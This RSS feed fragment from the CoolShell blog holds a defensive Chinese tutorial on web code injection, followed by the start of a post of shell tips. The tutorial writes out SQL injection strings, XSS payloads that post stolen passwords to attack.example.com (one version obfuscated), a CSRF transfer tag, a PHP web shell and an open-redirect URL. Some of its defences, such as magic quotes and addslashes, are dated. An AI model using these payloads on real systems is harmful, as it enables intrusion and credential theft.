+&quot;&#039;);&quot;</pre>\n</div>\n</div>\n<p>用户在登录时恶意输入如下的的用户名和口令：</p>\n<div dir=\"ltr\">\n<div><code data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">userName = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>\n</div>\n</div>\n<div dir=\"ltr\">\n<div><code data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">passWord = &quot;&#039; OR &#039;1&#039;=&#039;1&quot;;</code></p>\n</div>\n</div>\n<p>此时，将导致原本的SQL字符串被解析为：</p>\n<div dir=\"ltr\">\n<div>\n<pre data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">strSQL = &quot;SELECT * FROM users\nWHERE (name = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;) and (pw = &#039;&#039; OR &#039;1&#039;=&#039;1&#039;);&quot;</pre>\n</div>\n</div>\n<p>也就是实际上运行的SQL命令会变成下面这样的，因此导致无帐号密码，也可登录网站。</p>\n<div dir=\"ltr\">\n<div><code data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">strSQL = &quot;SELECT * FROM users;&quot;</code></p>\n</div>\n</div>\n<p>这还不算恶劣的，真正恶劣的是在你的语句后再加一个自己的语句，如：</p>\n<p><code data-enlighter-language=\"sql\" class=\"EnlighterJSRAW\">username= &quot;&#039; ; DELETE FROM users; --&quot;;</code></p>\n<p>这样一来，要么整个数据库的表被人盗走，要么被数据库被删除。</p>\n<p><strong>所以SQL注入攻击被俗称为黑客的填空游戏</strong>。你是否还记得酷壳<a title=\"千万别惹程序员\" href=\"https://coolshell.cn/articles/6639.html\" target=\"_blank\">这篇文章里的SQL注入</a>？</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter\" title=\"SQL-injection-attack(adjusted)\" src=\"https://coolshell.cn//wp-content/uploads/2012/02/SQL-injection-attackadjusted.jpg\" alt=\"\" width=\"600\" height=\"407\" /></p>\n<p>当他们发现一个网站有SQL注入的时候，他们一般会干下面的事：</p>\n<ul>\n<li>盗取数据表中的数据，例如个人机密数据（信用卡，身份证，手机号，通讯录……），帐户数据，密码等，获得用户的数据和信息后对这些用户进行“社会工程学”活动（如：<a title=\"为什么不能用微信或米聊这类的软件\" href=\"https://coolshell.cn/articles/8638.html\" target=\"_blank\">我前两天在微信上亲身经历</a>）。</li>\n</ul>\n<ul>\n<li>取得系统管理员权限（例如ALTER LOGIN sa WITH PASSWORD=&#8217;xxxxxx&#8217;）。</li>\n</ul>\n<ul>\n<li>在数据库中的数据中插入一些HTML/JS代码，有可能得以在网页加入恶意链接以及XSS，这样一来就让访问者被黑。</li>\n</ul>\n<ul>\n<li>经由数据库服务器提供的操作系统支持，让黑客得以修改或控制操作系统（例如：MS SQL Server的 xp_cmdshell &#8220;net stop iisadmin&#8221;可停止服务器的IIS服务）。甚至破坏硬盘数据，瘫痪全系统（例如xp_cmdshell &#8220;FORMAT C:&#8221;）。</li>\n</ul>\n<div>现在的黑客比较坏，瘫痪系统的事，他们干的越来越少，因为没什么利益，他们希望通过获取用户的帐号信息后，转而攻击用户别的帐号，如游戏帐号，网银帐号，QQ帐号等等他们可以获利的事情（这就是为什么我希望大家<a title=\"如何管理并设计你的口令\" href=\"https://coolshell.cn/articles/2428.html\" target=\"_blank\">在不站点上使用不同的口令</a>，甚至不同的用户信息的原因）</div>\n<p><strong>如何避免</strong></p>\n<ul>\n<li>在组合SQL字符串时，先针对所传入的参数作字符转义（如：将单引号字符取代为连续2个单引号字符）。如果使用PHP开发网页程序的话，亦可打开PHP的Magic quote功能自动将所有的网页传入参数，将单引号字符取代为连续2个单引号字符。<strong>如果可能应该过滤以下字符：分号“;”，两个减号“&#8211;”，单引号“&#8217;”，注释“/* &#8230; */”</strong>。（当然，因为注入攻击一般用闭合的引号来玩，所以把引号转义了应该就没有什么问题了）</li>\n</ul>\n<ul>\n<li>更换危险字符。例如在PHP通过<code>addslashes()</code>函数保护SQL注入。</li>\n</ul>\n<ul>\n<li>限制用户输入的长度，限制用户输入的取值范围。</li>\n</ul>\n<ul>\n<li>为当前应用建立权限比较小的数据库用户，这样不会导致数据库管理员丢失。</li>\n</ul>\n<ul>\n<li>把数据库操作封装成一个Service，对于敏感数据，对于每个客户端的IP，在一定时间内每次只返回一条记录。这样可以避免被拖库。</li>\n</ul>\n<h4></h4>\n<h4>跨网站脚本注 入</h4>\n<p><strong>跨网站脚本</strong>（<strong>Cross-site</strong> scripting，通常简称为XSS或跨站脚本或跨站脚本攻击）是一种网站应用程序的安全漏洞攻击，是代码注入的一种。它通过巧妙的方法注入恶意指令代码到网页，使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript，但实际上也可以包括Java， VBScript， ActiveX， Flash 或者甚至是普通的HTML。攻击成功后，攻击者可能得到包括但不限于更高的权限（如执行一些操作）、私密网页内容、会话和cookie等各种内容。</p>\n<p>假如我们有这样一段PHP的代码：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$username = $_GET[&#039;username&#039;];\necho &#039;&lt;div&gt; Welcome, &#039; . $username . &#039;&lt;/div&gt;&#039;;</pre>\n<p>那么我们可以这样来注入：</p>\n<div style=\"color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;\">http://trustedSite.example.com/welcome.php?username=&lt;Script Language=&#8221;Javascript&#8221;&gt;alert(&#8220;You&#8217;ve been attacked!&#8221;);&lt;/Script&gt;</div>\n<p>甚至这样：</p>\n<div style=\"color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;\">http://trustedSite.example.com/welcome.php?username=&lt;div id=&#8221;stealPassword&#8221;&gt;Please Login:&lt;form name=&#8221;input&#8221; action=&#8221;http://attack.example.com/stealPassword.php&#8221; method=&#8221;post&#8221;&gt;Username: &lt;input type=&#8221;text&#8221; name=&#8221;username&#8221; /&gt;&lt;br/&gt;Password: &lt;input type=&#8221;password&#8221; name=&#8221;password&#8221; /&gt;&lt;input type=&#8221;submit&#8221; value=&#8221;Login&#8221; /&gt;&lt;/form&gt;&lt;/div&gt;</div>\n<p>这会让网页显示以下内容：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">\n&lt;div class=&quot;header&quot;&gt; Welcome,\n    &lt;div id=&quot;stealPassword&quot;&gt;Please Login:\n        &lt;form name=&quot;input&quot; action=&quot;attack.example.com/stealPassword.php&quot; method=&quot;post&quot;&gt;\n            Username: &lt;input type=&quot;text&quot; name=&quot;username&quot; /&gt;\n            &lt;br/&gt;\n            Password: &lt;input type=&quot;password&quot; name=&quot;password&quot; /&gt;\n            &lt;input type=&quot;submit&quot; value=&quot;Login&quot; /&gt;\n        &lt;/form&gt;\n    &lt;/div&gt;\n&lt;/div&gt;\n</pre>\n<p>注入的代码还有可能变种为如下这种更为隐蔽的方式(unicode码)：</p>\n<div style=\"color: #1b00aa; background-color: #efefef; border: 1px solid #DDE2F5; font-size: 90%; padding: 10px;\">\n<div>trustedSite.example.com/welcome.php?username=&lt;script+type=&#8221;text/javascript&#8221;&gt;</div>\n<div>document.write(&#8216;\\u003C\\u0064\\u0069\\u0076\\u0020\\u0069\\u0064\\u003D\\u0022\\u0073</div>\n<div>\\u0074\\u0065\\u0061\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064</div>\n<div>\\u0022\\u003E\\u0050\\u006C\\u0065\\u0061\\u0073\\u0065\\u0020\\u004C\\u006F\\u0067</div>\n<div>\\u0069\\u006E\\u003A\\u003C\\u0066\\u006F\\u0072\\u006D\\u0020\\u006E\\u0061\\u006D</div>\n<div>\\u0065\\u003D\\u0022\\u0069\\u006E\\u0070\\u0075\\u0074\\u0022\\u0020\\u0061\\u0063</div>\n<div>\\u0074\\u0069\\u006F\\u006E\\u003D\\u0022\\u0068\\u0074\\u0074\\u0070\\u003A\\u002F</div>\n<div>\\u002F\\u0061\\u0074\\u0074\\u0061\\u0063\\u006B\\u002E\\u0065\\u0078\\u0061\\u006D</div>\n<div>\\u0070\\u006C\\u0065\\u002E\\u0063\\u006F\\u006D\\u002F\\u0073\\u0074\\u0065\\u0061</div>\n<div>\\u006C\\u0050\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u002E\\u0070\\u0068</div>\n<div>\\u0070\\u0022\\u0020\\u006D\\u0065\\u0074\\u0068\\u006F\\u0064\\u003D\\u0022\\u0070</div>\n<div>\\u006F\\u0073\\u0074\\u0022\\u003E\\u0055\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D</div>\n<div>\\u0065\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079</div>\n<div>\\u0070\\u0065\\u003D\\u0022\\u0074\\u0065\\u0078\\u0074\\u0022\\u0020\\u006E\\u0061</div>\n<div>\\u006D\\u0065\\u003D\\u0022\\u0075\\u0073\\u0065\\u0072\\u006E\\u0061\\u006D\\u0065</div>\n<div>\\u0022\\u0020\\u002F\\u003E\\u003C\\u0062\\u0072\\u002F\\u003E\\u0050\\u0061\\u0073</div>\n<div>\\u0073\\u0077\\u006F\\u0072\\u0064\\u003A\\u0020\\u003C\\u0069\\u006E\\u0070\\u0075</div>\n<div>\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D\\u0022\\u0070\\u0061\\u0073\\u0073</div>\n<div>\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u006E\\u0061\\u006D\\u0065\\u003D\\u0022</div>\n<div>\\u0070\\u0061\\u0073\\u0073\\u0077\\u006F\\u0072\\u0064\\u0022\\u0020\\u002F\\u003E</div>\n<div>\\u003C\\u0069\\u006E\\u0070\\u0075\\u0074\\u0020\\u0074\\u0079\\u0070\\u0065\\u003D</div>\n<div>\\u0022\\u0073\\u0075\\u0062\\u006D\\u0069\\u0074\\u0022\\u0020\\u0076\\u0061\\u006C</div>\n<div>\\u0075\\u0065\\u003D\\u0022\\u004C\\u006F\\u0067\\u0069\\u006E\\u0022\\u0020\\u002F</div>\n<div>\\u003E\\u003C\\u002F\\u0066\\u006F\\u0072\\u006D\\u003E\\u003C\\u002F\\u0064\\u0069\\u0076\\u003E\\u000D&#8217;);&lt;/script&gt;</div>\n</div>\n<p><strong>XSS的攻击主要是通过一段JS程序得用用户已登录的cookie去模拟用户的操作（甚至偷用户的cookie）</strong>。这个方式可以让用户在自己不知情的情况下操作了自己不期望的操作。如果是网站的管理员中招，还有可能导致后台管理权限被盗。关于其中的一些细节可以参看《<a title=\"新浪微博的XSS攻击\" href=\"https://coolshell.cn/articles/4914.html\" target=\"_blank\">新浪微博的XSS攻击</a>》一文。XSS攻击是程序员有一糊涂就很容易犯的错误，你还可以看看网上的《<a href=\"http://www.cnblogs.com/kingthy/archive/2011/08/20/2147355.html\" target=\"_blank\">腾讯微博的XSS攻击</a>》。</p>\n<p>XSS攻击在论坛的用户签档里面（使用img标签）也发生过很多次，包括像一些使用bcode的网站，很有可能会被注入一些可以被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。</p>\n<p>不要以为XSS攻击是我们的程序没有写好，有时候，我们会引用别人站点上的js文件，比如：放一个天气预报的小Widget的js，或是一个流量监控，或是一段广告的js文件。你不知道这些东西是不是有问题，如果有恶意的话，这就是你自己主动注入攻击代码了。</p>\n<p><strong>另外，XSS攻击有一部分是和浏览器有关的。</strong>比如，如下的一些例子，你可能从来都没有想过吧？（<strong>更多的例子可以参看酷壳很早以前的这篇文章《<a href=\"https://coolshell.cn/articles/2416.html\" target=\"_blank\">浏览器HTML安全列表</a>》</strong>）</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;table background=”javascript:alert(1)”&gt;\n\n&lt;meta charset=”mac-farsi”&gt;¼script¾alert(1)¼/script¾\n\n&lt;img src=”javascript:alert(1)”&gt;</pre>\n<p>XSS攻击通常会引发CSRF攻击。CSRF攻击主要是通过在A站上设置B站点上的链接，通过使用用户在B站点上的登录且还没有过期的cookie，从而使得用户的B站点被攻击。（这得益于现在的多Tab页的浏览器，大家都会同时打开并登录很多的网站，而这些不同网站的页面间的cookie又是共享的）</p>\n<p>于是，如果我在A站点内的某个贴子内注入这么一段代码：</p>\n<p><code data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;img src=&quot;http://bank.example.com/transfer?account=XXX&amp;amount=1000000&amp;for=haoel&quot;&gt;</code></p>\n<p>很有可能你就在访问A站的这个贴子时，你的网银可能向我转了一些钱。</p>\n<p><strong>如何避免</strong></p>\n<p>要防止XSS攻击，一般来说有下面几种手段：</p>\n<ul>\n<li>严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。</li>\n</ul>\n<ul>\n<li>严格过滤用户的输入。如：\n<ul>\n<li>PHP的<code>htmlentities()或是htmlspecialchars()或是strip_tags()</code>。</li>\n<li>Python的<code>cgi.escape()</code></li>\n<li>ASP的<code>Server.HTMLEncode()</code>。</li>\n<li>Node.js的node-validator。</li>\n<li>Java的<a href=\"http://code.google.com/p/xssprotect/\" rel=\"nofollow\">xssprotect</a>。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>在一些关键功能，完全不能信任cookie，必需要用户输入口令。如：修改口令，支付，修改电子邮件，查看用户的敏感信息等等。</li>\n</ul>\n<ul>\n<li>限制cookie的过期时间。</li>\n</ul>\n<ul>\n<li>对于CSRF攻击，一是需要检查http的reference header。二是不要使用GET方法来改变数据，三是对于要提交的表单，后台动态生成一个随机的token，这个token是攻击者很难伪造的。（对于token的生成，建议找一些成熟的lib库）</li>\n</ul>\n<p>另外，你可能觉得网站在处理用户的表单提交就行了，其实不是，<strong>想一想那些Web Mail，我可以通过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱，你打开一看，你就中招了</strong>。所以，WebMail一般都禁止显示图片和附件，这些都很危险，只有你完全了解来源的情况下才能打开。<strong>电子邮件的SMTP协议太差了，基本上无法校验其它邮件服务器的可信度，我甚至可以自己建一个本机的邮件服务器，想用谁的邮件地址发信就用谁的邮件地址发信</strong>。<span style=\"color: #cc0000;\"><strong>所以，我再次真诚地告诉大家，请用gmail邮箱</strong></span>。别再跟我说什么QQMail之类的好用了。</p>\n<h4>上传文件</h4>\n<p>上传文件是一个很危险的功能，尤其是你如果不校验上传文件的类型的话，你可能会中很多很多的招，这种攻击相当狠。<strong>试想，如果用户上传给你一个PHP、ASP、JSP的文件，当有人访问这个文件时，你的服务器会解释执行之，这就相当于他可以在你的服务器上执行一段程序。这无疑是相当危险的。</strong></p>\n<p>举个例子：</p>\n<pre data-enlighter-language=\"html\" class=\"EnlighterJSRAW\">&lt;form action=&quot;upload_picture.php&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;\n要上传的文件:\n&lt;input type=&quot;file&quot; name=&quot;filename&quot;/&gt;\n&lt;br/&gt;\n&lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;/&gt;\n&lt;/form&gt;\n</pre>\n<p>&nbsp;</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$target = &quot;pictures/&quot; . basename($_FILES[&#039;uploadedfile&#039;][&#039;name&#039;]);\nif(move_uploaded_file($_FILES[&#039;uploadedfile&#039;][&#039;tmp_name&#039;], $target)){\n    echo &quot;图片文件上传成功&quot;;\n}else{&lt;/div&gt;\n    echo &quot;图片文件上传失败&quot;;\n}</pre>\n<p>假如我上传了一个PHP文件如下：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">&lt;?php\nsystem($_GET[&#039;cmd&#039;]);\n?&gt;</pre>\n<p>那么，我就可以通过如下的URL访问攻击你的网站了：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l</code></p>\n<p>抵御这样的攻击有两种手段：</p>\n<p>1）限制上传文件的文件扩展名。</p>\n<p>2）千万不要使用root或Administrator来运行你的Web应用。</p>\n<h4>URL跳转</h4>\n<p>URL跳转很有可能会成为攻击利用的工具。</p>\n<p>比如下面的PHP代码：</p>\n<pre data-enlighter-language=\"php\" class=\"EnlighterJSRAW\">$redirect_url = $_GET[&#039;url&#039;];\nheader(&quot;Location: &quot; . $redirect_url);</pre>\n<p>这样的代码可能很常见，比如当用户在访问你的网站某个页观的时候没有权限，于是你的网站跳转到登录页面，当然登录完成后又跳转回刚才他访问的那个页面。一般来说，我们都会在跳转到登录页面时在URL里加上要被跳转过去的网页。于是会出现上述那样的代码。</p>\n<p>于是我们就可以通过下面的URL，跳转到一个恶意网站上，而那个网站上可能有一段CSRF的代码在等着你，或是一个钓鱼网站。</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">http://bank.example.com/redirect?url=http://attacker.example.net</code></p>\n<p>这种攻击具有的迷惑性在于，用户看到的http://bank.example.com，<strong>以为是一个合法网站，于是就点了这个链接，结果通过这个合法网站，把用户带到了一个恶意网站，而这个恶意网站上可能把页面做得跟这个合法网站一模一样，你还以为访问的是正确的地方，结果就被钓鱼了</strong>。</p>\n<p>解决这个问题很简单，你需要在你的后台判断一下传过来的URL的域名是不是你自己的域名。</p>\n<p>你可以看看Google和Baidu搜索引擎的链接跳转，百度的跳转链接是被加密过的，而Google的网站链接很长，里面有网站的明文，但是会有几个加密过的参数，如果你把那些参数移除掉，Google会显示一个重定向的提醒页面。（我个人觉得还是Google做得好）</p>\n<p>（本篇文章结束）</p>\n<p>这段时间工作和家里的事比较多，所以时间有限，更新不快，而此篇行文比较仓促，欢迎大家补充，并指出我文中的问题。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png\" alt=\"从“黑掉Github”学Web安全开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11021.html\" class=\"wp_rp_title\">从“黑掉Github”学Web安全开发</a></li><li ><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"Web开发中需要了解的东西\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6043.html\" class=\"wp_rp_title\">Web开发中需要了解的东西</a></li><li ><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" alt=\"如何设计“找回用户帐号”功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5987.html\" class=\"wp_rp_title\">如何设计“找回用户帐号”功能</a></li><li ><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"你会做Web上的用户登录功能吗？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5353.html\" class=\"wp_rp_title\">你会做Web上的用户登录功能吗？</a></li><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8711.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>63</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>你可能不知道的Shell</title>\n\t\t<link>https://coolshell.cn/articles/8619.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8619.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[404null]]></dc:creator>\n\t\t<pubDate>Fri, 23 Nov 2012 00:19:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[Bash]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Shell]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8619</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Shell也叫做命令行界面，它是*nix操作系统下用户和计算机的交互界面。Shell这个词是指操作系统中提供访问内核服务的程序。 这篇文章向大家介绍Shell一...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8619.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Shell也叫做命令行界面，它是*nix操作系统下用户和计算机的交互界面。Shell这个词是指操作系统中提供访问内核服务的程序。</p>\n<p>这篇文章向大家介绍Shell一些非广为人知、但却实用有趣的知识，权当品尝shell主食后的甜点吧。</p>\n<h4>科普</h4>\n<p>先科普几个你可能不知道的事实：</p>\n<ul>\n<li>Shell几乎是和Unix操作系统一起诞生，第一个Unix Shell是肯·汤普逊（Ken Thompson）以Multics上的Shell为模范在1971年改写而成，并命名Thompson sh。即便是后来流行的bash（shell的一种变体），它的年龄实际上比当前流行的所有的Linux kernel都大，可谓在Linux系统上是先有Shell再有Kernel。</li>\n</ul>\n<ul>\n<li>当前绝大部分*nix和MacOS操作系统里的默认的Shell都是bash，bash由Brian Fox在1987年创造，全称Bourne Again shell ( bash)。</li>\n</ul>\n<ul>\n<li>你或许听说除了bash之外，还有Bourne shell ( sh)，Korn shell ( ksh)，C shell （包括 csh and tcsh），但是你知道这个星球上一共存在着大约50多种不同的shell么？想了解他们，请参考 <a href=\"http://www.freebsd.org/ports/shells.html\" target=\"_blank\" rel=\"noopener\">http://www.freebsd.org/ports/shells.html</a>。</li>\n</ul>\n<ul>\n<li>每个月<a href=\"http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html\" target=\"_blank\" rel=\"noopener\">tiobe</a>上都会给一个编程语言的排名，来显示各种语言的流行度。排名指数综合了全球范围内使用该语言的工程师人数、教学的课程数和第三方供应商数。截止至2012年11月份，tiobe公布的编程语言排行榜里，bash的指数是0.56%排名22位。如果算上它旗下的awk 0.21%和tcl 0.146%，大概就能排到14名。注意这里还不包括bash的同源的兄弟姐妹csh、ksh等，算上它们，shell家族有望接近前十。值得一提的是一直以来shell的排名就很稳定，不像某些“暴发户”语言，比如objective-c，这些语言的流行完全是因为当前Apple系的崛起，但这种热潮极有可能来得快去得更快。</li>\n</ul>\n<p><span id=\"more-8619\"></span></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-18796\" src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01.png\" alt=\"\" width=\"616\" height=\"614\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01.png 616w, https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png 150w, https://coolshell.cn/wp-content/uploads/2012/11/shell.01-300x300.png 300w, https://coolshell.cn/wp-content/uploads/2012/11/shell.01-200x200.png 200w, https://coolshell.cn/wp-content/uploads/2012/11/shell.01-271x270.png 271w\" sizes=\"(max-width: 616px) 100vw, 616px\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-18797\" src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.02.png\" alt=\"\" width=\"290\" height=\"531\" /></p>\n<p>&nbsp;</p>\n<p>全球最大的源代码仓库Github里，shell相关的项目数占到了8%，跻身前5和Java相当，可见在实战工程里，shell可谓宝刀不老。图片来源，<a href=\"https://github.com/languages\">参见这里</a></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-18798\" src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.03.png\" alt=\"\" width=\"700\" height=\"284\" /></p>\n<h4>一些强大的命令</h4>\n<p>再分享一些可能你不知道的shell用法和脚本，简单&amp;强大！</p>\n<p><em>在阅读以下部分前，强烈建议读者打开一个shell实验，这些都不是shell教科书里的大路货哦：）</em></p>\n<ul>\n<li><strong><code>!$</code></strong><br />\n<code>!$</code>是一个特殊的环境变量，它代表了上一个命令的最后一个字符串。如：你可能会这样：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$mkdir mydir\n$mv mydir yourdir\n$cd yourdir</pre>\n<p>可以改成：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$mkdir mydir\n$mv !$ yourdir\n$cd !$</pre>\n</li>\n</ul>\n<ul>\n<li><strong><code>sudo !!</code></strong><br />\n以root的身份执行上一条命令 。<br />\n场景举例：比如Ubuntu里用<code>apt-get</code>安装软件包的时候是需要root身份的，我们经常会忘记在<code>apt-get</code>前加<code>sudo</code>。每次不得不加上<code>sudo</code>再重新键入这行命令，这时可以很方便的用<code>sudo !!</code>完事。<br />\n（陈皓注：在shell下，有时候你会输入很长的命令，你可以使用!xxx来重复最近的一次命令，比如，你以前输入过，vi /where/the/file/is, 下次你可以使用 !vi 重得上次最近一次的vi命令。）</li>\n</ul>\n<ul>\n<li><strong><code>cd –</code></strong><br />\n回到上一次的目录 。<br />\n场景举例：当前目录为<code>/home/a</code>，用<code>cd ../b</code>切换到<code>/home/b</code>。这时可以通过反复执行<code>cd –</code>命令在<code>/home/a</code>和<code>/home/b</code>之间来回方便的切换。<br />\n（陈皓注：cd ~ 是回到自己的Home目录，cd ~user，是进入某个用户的Home目录）</li>\n</ul>\n<ul>\n<li><strong><code>'ALT+.' or '&lt;ESC&gt; .'</code></strong><br />\n热建alt+. 或 esc+. 可以把上次命令行的参数给重复出来。</li>\n</ul>\n<ul>\n<li><strong><code>^old^new</code></strong><br />\n替换前一条命令里的部分字符串。<br />\n场景：<code>echo \"wanderful\"</code>，其实是想输出<code>echo \"wonderful\"</code>。只需要<code>^a^o</code>就行了，对很长的命令的错误拼写有很大的帮助。（陈皓注：也可以使用 <strong>!!:gs/old/new</strong>）</li>\n</ul>\n<ul>\n<li><strong><code>du -s * | sort -n | tail</code></strong><br />\n列出当前目录里最大的10个文件。</li>\n</ul>\n<ul>\n<li><strong><code>:w !sudo tee %</code></strong><br />\n在vi中保存一个只有root可以写的文件</li>\n</ul>\n<ul>\n<li><strong><code>date -d@1234567890</code></strong><br />\n时间截转时间</li>\n</ul>\n<ul>\n<li>\n<div title=\"Click to select this command\">\n<div><strong><code>&gt; file.txt</code></strong><br />\n创建一个空文件，比touch短。</div>\n</div>\n</li>\n</ul>\n<ul>\n<li><strong><code>mtr coolshell.cn</code></strong><br />\nmtr命令比traceroute要好。</li>\n</ul>\n<ul>\n<li>在命令行前加空格，该命令不会进入history里。</li>\n</ul>\n<ul>\n<li><strong><code>echo \"ls -l\" | at midnight</code></strong><br />\n在某个时间运行某个命令。</li>\n</ul>\n<ul>\n<li><strong><code>curl -u user:pass -d status=\"Tweeting from the shell\" http://twitter.com/statuses/update.xml</code></strong><br />\n命令行的方式更新twitter。</li>\n</ul>\n<ul>\n<li><strong><code>curl -u username --silent \"https://mail.google.com/mail/feed/atom\" | perl -ne 'print \"\\t\" if /&lt;name&gt;/; print \"$2\\n\" if /&lt;(title|name)&gt;(.*)&lt;\\/\\1&gt;/;'</code></strong><br />\n检查你的gmail未读邮件</li>\n</ul>\n<ul>\n<li><strong><code>ps aux | sort -nk +4 | tail</code></strong><br />\n列出头十个最耗内存的进程</li>\n</ul>\n<ul>\n<li><strong><code>man ascii</code></strong><br />\n显示ascii码表。<br 